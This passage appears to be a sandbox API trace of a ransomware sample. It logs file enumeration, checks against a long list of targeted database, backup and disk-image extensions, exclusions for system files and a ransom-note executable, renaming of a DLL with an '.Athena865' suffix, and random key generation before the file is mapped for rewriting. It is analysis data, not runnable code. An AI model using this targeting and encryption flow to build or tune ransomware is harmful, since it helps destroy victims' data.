(lpString="udl") returned 3 [0118.694] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0118.694] lstrlenW (lpString="usr") returned 3 [0118.694] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0118.694] lstrlenW (lpString="v12") returned 3 [0118.694] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0118.694] lstrlenW (lpString="vis") returned 3 [0118.694] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0118.694] lstrlenW (lpString="vpd") returned 3 [0118.694] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0118.694] lstrlenW (lpString="vvv") returned 3 [0118.694] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0118.694] lstrlenW (lpString="wdb") returned 3 [0118.694] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0118.694] lstrlenW (lpString="wmdb") returned 4 [0118.694] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0118.694] lstrlenW (lpString="wrk") returned 3 [0118.694] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0118.694] lstrlenW (lpString="xdb") returned 3 [0118.694] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0118.695] lstrlenW (lpString="xld") returned 3 [0118.695] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0118.695] lstrlenW (lpString="xmlff") returned 5 [0118.695] lstrcmpiW (lpString1="r.dll", lpString2="xmlff") returned -1 [0118.695] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll.Athena865") returned 64 [0118.695] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll.athena865"), dwFlags=0x1) returned 1 [0118.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0118.696] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8192) returned 1 [0118.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0118.697] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0118.697] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0118.697] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.698] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2300, lpName=0x0) returned 0x154 [0118.699] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2300) returned 0x100000 [0118.700] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0118.701] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0118.701] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0118.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0118.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0118.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.701] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0118.701] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0118.702] CloseHandle (hObject=0x154) returned 1 [0118.702] CloseHandle (hObject=0x17c) returned 1 [0118.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0118.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0118.702] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0118.702] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a9e4ffc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a9e4ffc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a9e4ffc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadcf.dll", cAlternateFileName="")) returned 1 [0118.702] lstrcmpiW (lpString1="msadcf.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.702] lstrcmpiW (lpString1="msadcf.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.702] lstrcmpiW (lpString1="msadcf.dll", lpString2=".") returned 1 [0118.702] lstrcmpiW (lpString1="msadcf.dll", lpString2="..") returned 1 [0118.702] lstrcmpiW (lpString1="msadcf.dll", lpString2="windows") returned -1 [0118.702] lstrcmpiW (lpString1="msadcf.dll", lpString2="bootmgr") returned 1 [0118.703] lstrcmpiW (lpString1="msadcf.dll", lpString2="temp") returned -1 [0118.703] lstrcmpiW (lpString1="msadcf.dll", lpString2="pagefile.sys") returned -1 [0118.703] lstrcmpiW (lpString1="msadcf.dll", lpString2="boot") returned 1 [0118.703] lstrcmpiW (lpString1="msadcf.dll", lpString2="ids.txt") returned 1 [0118.703] lstrcmpiW (lpString1="msadcf.dll", lpString2="ntuser.dat") returned -1 [0118.703] lstrcmpiW (lpString1="msadcf.dll", lpString2="perflogs") returned -1 [0118.703] lstrcmpiW (lpString1="msadcf.dll", lpString2="MSBuild") returned -1 [0118.703] lstrlenW (lpString="msadcf.dll") returned 10 [0118.703] lstrcpyW (in: lpString1=0x241e89e, lpString2="msadcf.dll" | out: lpString1="msadcf.dll") returned="msadcf.dll" [0118.703] lstrlenW (lpString="msadcf.dll") returned 10 [0118.703] lstrlenW (lpString="Athena865") returned 9 [0118.703] lstrcmpiW (lpString1="sadcf.dll", lpString2="Athena865") returned 1 [0118.703] lstrlenW (lpString=".dll") returned 4 [0118.703] lstrcmpiW (lpString1="msadcf.dll", lpString2=".dll") returned 1 [0118.703] lstrlenW (lpString=".lnk") returned 4 [0118.703] lstrcmpiW (lpString1="msadcf.dll", lpString2=".lnk") returned 1 [0118.703] lstrlenW (lpString=".ini") returned 4 [0118.703] lstrcmpiW (lpString1="msadcf.dll", lpString2=".ini") returned 1 [0118.703] lstrlenW (lpString=".sys") returned 4 [0118.703] lstrcmpiW (lpString1="msadcf.dll", lpString2=".sys") returned 1 [0118.703] lstrlenW (lpString="msadcf.dll") returned 10 [0118.703] lstrlenW (lpString="bak") returned 3 [0118.703] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0118.703] lstrlenW (lpString="ba_") returned 3 [0118.703] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0118.703] lstrlenW (lpString="dbb") returned 3 [0118.703] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0118.704] lstrlenW (lpString="vmdk") returned 4 [0118.704] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0118.704] lstrlenW (lpString="rar") returned 3 [0118.704] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0118.704] lstrlenW (lpString="zip") returned 3 [0118.704] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0118.704] lstrlenW (lpString="tgz") returned 3 [0118.704] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0118.704] lstrlenW (lpString="vbox") returned 4 [0118.704] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0118.704] lstrlenW (lpString="vdi") returned 3 [0118.704] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0118.704] lstrlenW (lpString="vhd") returned 3 [0118.704] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0118.704] lstrlenW (lpString="vhdx") returned 4 [0118.704] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0118.704] lstrlenW (lpString="avhd") returned 4 [0118.704] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0118.704] lstrlenW (lpString="db") returned 2 [0118.704] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0118.704] lstrlenW (lpString="db2") returned 3 [0118.704] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0118.704] lstrlenW (lpString="db3") returned 3 [0118.704] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0118.704] lstrlenW (lpString="dbf") returned 3 [0118.704] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0118.704] lstrlenW (lpString="mdf") returned 3 [0118.704] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0118.704] lstrlenW (lpString="mdb") returned 3 [0118.704] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0118.705] lstrlenW (lpString="sql") returned 3 [0118.705] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0118.705] lstrlenW (lpString="sqlite") returned 6 [0118.705] lstrcmpiW (lpString1="cf.dll", lpString2="sqlite") returned -1 [0118.705] lstrlenW (lpString="sqlite3") returned 7 [0118.705] lstrcmpiW (lpString1="dcf.dll", lpString2="sqlite3") returned -1 [0118.705] lstrlenW (lpString="sqlitedb") returned 8 [0118.705] lstrcmpiW (lpString1="adcf.dll", lpString2="sqlitedb") returned -1 [0118.705] lstrlenW (lpString="xml") returned 3 [0118.705] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0118.705] lstrlenW (lpString="$er") returned 3 [0118.705] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0118.705] lstrlenW (lpString="4dd") returned 3 [0118.705] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0118.705] lstrlenW (lpString="4dl") returned 3 [0118.705] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0118.705] lstrlenW (lpString="^^^") returned 3 [0118.705] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0118.705] lstrlenW (lpString="abs") returned 3 [0118.705] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0118.705] lstrlenW (lpString="abx") returned 3 [0118.705] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0118.705] lstrlenW (lpString="accdb") returned 5 [0118.705] lstrcmpiW (lpString1="f.dll", lpString2="accdb") returned 1 [0118.705] lstrlenW (lpString="accdc") returned 5 [0118.705] lstrcmpiW (lpString1="f.dll", lpString2="accdc") returned 1 [0118.705] lstrlenW (lpString="accde") returned 5 [0118.705] lstrcmpiW (lpString1="f.dll", lpString2="accde") returned 1 [0118.705] lstrlenW (lpString="accdr") returned 5 [0118.705] lstrcmpiW (lpString1="f.dll", lpString2="accdr") returned 1 [0118.706] lstrlenW (lpString="accdt") returned 5 [0118.706] lstrcmpiW (lpString1="f.dll", lpString2="accdt") returned 1 [0118.706] lstrlenW (lpString="accdw") returned 5 [0118.706] lstrcmpiW (lpString1="f.dll", lpString2="accdw") returned 1 [0118.706] lstrlenW (lpString="accft") returned 5 [0118.706] lstrcmpiW (lpString1="f.dll", lpString2="accft") returned 1 [0118.706] lstrlenW (lpString="adb") returned 3 [0118.706] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.706] lstrlenW (lpString="adb") returned 3 [0118.706] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.706] lstrlenW (lpString="ade") returned 3 [0118.706] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0118.706] lstrlenW (lpString="adf") returned 3 [0118.706] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0118.706] lstrlenW (lpString="adn") returned 3 [0118.706] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0118.706] lstrlenW (lpString="adp") returned 3 [0118.706] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0118.706] lstrlenW (lpString="alf") returned 3 [0118.706] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0118.706] lstrlenW (lpString="ask") returned 3 [0118.706] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0118.706] lstrlenW (lpString="btr") returned 3 [0118.706] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0118.706] lstrlenW (lpString="cat") returned 3 [0118.706] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0118.706] lstrlenW (lpString="cdb") returned 3 [0118.706] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0118.706] lstrlenW (lpString="ckp") returned 3 [0118.706] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0118.706] lstrlenW (lpString="cma") returned 3 [0118.707] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0118.707] lstrlenW (lpString="cpd") returned 3 [0118.707] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0118.707] lstrlenW (lpString="dacpac") returned 6 [0118.707] lstrcmpiW (lpString1="cf.dll", lpString2="dacpac") returned -1 [0118.707] lstrlenW (lpString="dad") returned 3 [0118.707] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0118.707] lstrlenW (lpString="dadiagrams") returned 10 [0118.707] lstrlenW (lpString="daschema") returned 8 [0118.707] lstrcmpiW (lpString1="adcf.dll", lpString2="daschema") returned -1 [0118.707] lstrlenW (lpString="db-journal") returned 10 [0118.707] lstrlenW (lpString="db-shm") returned 6 [0118.707] lstrcmpiW (lpString1="cf.dll", lpString2="db-shm") returned -1 [0118.707] lstrlenW (lpString="db-wal") returned 6 [0118.707] lstrcmpiW (lpString1="cf.dll", lpString2="db-wal") returned -1 [0118.707] lstrlenW (lpString="dbc") returned 3 [0118.707] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0118.707] lstrlenW (lpString="dbs") returned 3 [0118.707] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0118.707] lstrlenW (lpString="dbt") returned 3 [0118.707] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0118.707] lstrlenW (lpString="dbv") returned 3 [0118.707] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0118.707] lstrlenW (lpString="dbx") returned 3 [0118.707] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0118.707] lstrlenW (lpString="dcb") returned 3 [0118.707] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0118.707] lstrlenW (lpString="dct") returned 3 [0118.707] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0118.708] lstrlenW (lpString="dcx") returned 3 [0118.708] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0118.708] lstrlenW (lpString="ddl") returned 3 [0118.708] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0118.708] lstrlenW (lpString="dlis") returned 4 [0118.708] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0118.708] lstrlenW (lpString="dp1") returned 3 [0118.708] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0118.708] lstrlenW (lpString="dqy") returned 3 [0118.708] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0118.708] lstrlenW (lpString="dsk") returned 3 [0118.708] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0118.708] lstrlenW (lpString="dsn") returned 3 [0118.708] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0118.708] lstrlenW (lpString="dtsx") returned 4 [0118.708] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0118.708] lstrlenW (lpString="dxl") returned 3 [0118.708] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0118.708] lstrlenW (lpString="eco") returned 3 [0118.708] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0118.708] lstrlenW (lpString="ecx") returned 3 [0118.708] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0118.708] lstrlenW (lpString="edb") returned 3 [0118.708] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0118.708] lstrlenW (lpString="epim") returned 4 [0118.708] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0118.708] lstrlenW (lpString="fcd") returned 3 [0118.709] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0118.709] lstrlenW (lpString="fdb") returned 3 [0118.709] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0118.709] lstrlenW (lpString="fic") returned 3 [0118.709] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0118.709] lstrlenW (lpString="flexolibrary") returned 12 [0118.709] lstrlenW (lpString="fm5") returned 3 [0118.709] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0118.709] lstrlenW (lpString="fmp") returned 3 [0118.709] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0118.709] lstrlenW (lpString="fmp12") returned 5 [0118.709] lstrcmpiW (lpString1="f.dll", lpString2="fmp12") returned -1 [0118.709] lstrlenW (lpString="fmpsl") returned 5 [0118.709] lstrcmpiW (lpString1="f.dll", lpString2="fmpsl") returned -1 [0118.709] lstrlenW (lpString="fol") returned 3 [0118.709] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0118.709] lstrlenW (lpString="fp3") returned 3 [0118.709] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0118.709] lstrlenW (lpString="fp4") returned 3 [0118.709] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0118.709] lstrlenW (lpString="fp5") returned 3 [0118.709] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0118.709] lstrlenW (lpString="fp7") returned 3 [0118.709] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0118.709] lstrlenW (lpString="fpt") returned 3 [0118.709] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0118.709] lstrlenW (lpString="frm") returned 3 [0118.709] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0118.709] lstrlenW (lpString="gdb") returned 3 [0118.709] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0118.710] lstrlenW (lpString="gdb") returned 3 [0118.710] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0118.710] lstrlenW (lpString="grdb") returned 4 [0118.710] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0118.710] lstrlenW (lpString="gwi") returned 3 [0118.710] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0118.710] lstrlenW (lpString="hdb") returned 3 [0118.710] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0118.710] lstrlenW (lpString="his") returned 3 [0118.710] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0118.710] lstrlenW (lpString="ib") returned 2 [0118.710] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0118.710] lstrlenW (lpString="idb") returned 3 [0118.710] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0118.710] lstrlenW (lpString="ihx") returned 3 [0118.710] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0118.710] lstrlenW (lpString="itdb") returned 4 [0118.710] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0118.710] lstrlenW (lpString="itw") returned 3 [0118.710] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0118.710] lstrlenW (lpString="jet") returned 3 [0118.710] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0118.710] lstrlenW (lpString="jtx") returned 3 [0118.710] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0118.710] lstrlenW (lpString="kdb") returned 3 [0118.710] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0118.710] lstrlenW (lpString="kexi") returned 4 [0118.710] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0118.710] lstrlenW (lpString="kexic") returned 5 [0118.710] lstrcmpiW (lpString1="f.dll", lpString2="kexic") returned -1 [0118.711] lstrlenW (lpString="kexis") returned 5 [0118.711] lstrcmpiW (lpString1="f.dll", lpString2="kexis") returned -1 [0118.711] lstrlenW (lpString="lgc") returned 3 [0118.711] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0118.711] lstrlenW (lpString="lwx") returned 3 [0118.711] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0118.711] lstrlenW (lpString="maf") returned 3 [0118.711] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0118.711] lstrlenW (lpString="maq") returned 3 [0118.711] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0118.711] lstrlenW (lpString="mar") returned 3 [0118.711] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0118.711] lstrlenW (lpString="marshal") returned 7 [0118.711] lstrcmpiW (lpString1="dcf.dll", lpString2="marshal") returned -1 [0118.711] lstrlenW (lpString="mas") returned 3 [0118.711] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0118.711] lstrlenW (lpString="mav") returned 3 [0118.711] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0118.711] lstrlenW (lpString="maw") returned 3 [0118.711] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0118.711] lstrlenW (lpString="mdbhtml") returned 7 [0118.711] lstrcmpiW (lpString1="dcf.dll", lpString2="mdbhtml") returned -1 [0118.711] lstrlenW (lpString="mdn") returned 3 [0118.711] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0118.711] lstrlenW (lpString="mdt") returned 3 [0118.711] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0118.711] lstrlenW (lpString="mfd") returned 3 [0118.711] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0118.711] lstrlenW (lpString="mpd") returned 3 [0118.711] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0118.712] lstrlenW (lpString="mrg") returned 3 [0118.712] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0118.712] lstrlenW (lpString="mud") returned 3 [0118.712] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0118.712] lstrlenW (lpString="mwb") returned 3 [0118.712] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0118.712] lstrlenW (lpString="myd") returned 3 [0118.712] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0118.712] lstrlenW (lpString="ndf") returned 3 [0118.712] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0118.712] lstrlenW (lpString="nnt") returned 3 [0118.712] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0118.712] lstrlenW (lpString="nrmlib") returned 6 [0118.712] lstrcmpiW (lpString1="cf.dll", lpString2="nrmlib") returned -1 [0118.712] lstrlenW (lpString="ns2") returned 3 [0118.712] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0118.712] lstrlenW (lpString="ns3") returned 3 [0118.712] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0118.712] lstrlenW (lpString="ns4") returned 3 [0118.712] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0118.712] lstrlenW (lpString="nsf") returned 3 [0118.712] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0118.712] lstrlenW (lpString="nv") returned 2 [0118.712] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0118.712] lstrlenW (lpString="nv2") returned 3 [0118.712] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0118.712] lstrlenW (lpString="nwdb") returned 4 [0118.712] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0118.712] lstrlenW (lpString="nyf") returned 3 [0118.712] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0118.713] lstrlenW (lpString="odb") returned 3 [0118.713] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0118.713] lstrlenW (lpString="odb") returned 3 [0118.713] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0118.713] lstrlenW (lpString="oqy") returned 3 [0118.713] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0118.713] lstrlenW (lpString="ora") returned 3 [0118.713] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0118.713] lstrlenW (lpString="orx") returned 3 [0118.713] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0118.713] lstrlenW (lpString="owc") returned 3 [0118.713] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0118.713] lstrlenW (lpString="p96") returned 3 [0118.713] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0118.713] lstrlenW (lpString="p97") returned 3 [0118.713] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0118.713] lstrlenW (lpString="pan") returned 3 [0118.713] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0118.713] lstrlenW (lpString="pdb") returned 3 [0118.713] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0118.713] lstrlenW (lpString="pdm") returned 3 [0118.713] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0118.713] lstrlenW (lpString="pnz") returned 3 [0118.713] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0118.713] lstrlenW (lpString="qry") returned 3 [0118.713] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0118.713] lstrlenW (lpString="qvd") returned 3 [0118.713] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0118.713] lstrlenW (lpString="rbf") returned 3 [0118.713] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0118.713] lstrlenW (lpString="rctd") returned 4 [0118.713] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0118.714] lstrlenW (lpString="rod") returned 3 [0118.714] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0118.714] lstrlenW (lpString="rodx") returned 4 [0118.714] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0118.714] lstrlenW (lpString="rpd") returned 3 [0118.714] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0118.714] lstrlenW (lpString="rsd") returned 3 [0118.714] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0118.714] lstrlenW (lpString="sas7bdat") returned 8 [0118.714] lstrcmpiW (lpString1="adcf.dll", lpString2="sas7bdat") returned -1 [0118.714] lstrlenW (lpString="sbf") returned 3 [0118.714] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0118.714] lstrlenW (lpString="scx") returned 3 [0118.714] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0118.714] lstrlenW (lpString="sdb") returned 3 [0118.714] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0118.714] lstrlenW (lpString="sdc") returned 3 [0118.714] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0118.714] lstrlenW (lpString="sdf") returned 3 [0118.714] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0118.714] lstrlenW (lpString="sis") returned 3 [0118.714] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0118.714] lstrlenW (lpString="spq") returned 3 [0118.714] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0118.714] lstrlenW (lpString="te") returned 2 [0118.714] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0118.714] lstrlenW (lpString="teacher") returned 7 [0118.714] lstrcmpiW (lpString1="dcf.dll", lpString2="teacher") returned -1 [0118.714] lstrlenW (lpString="tmd") returned 3 [0118.714] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0118.714] lstrlenW (lpString="tps") returned 3 [0118.715] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0118.715] lstrlenW (lpString="trc") returned 3 [0118.715] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0118.715] lstrlenW (lpString="trc") returned 3 [0118.715] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0118.715] lstrlenW (lpString="trm") returned 3 [0118.715] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0118.715] lstrlenW (lpString="udb") returned 3 [0118.715] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0118.715] lstrlenW (lpString="udl") returned 3 [0118.715] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0118.715] lstrlenW (lpString="usr") returned 3 [0118.715] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0118.715] lstrlenW (lpString="v12") returned 3 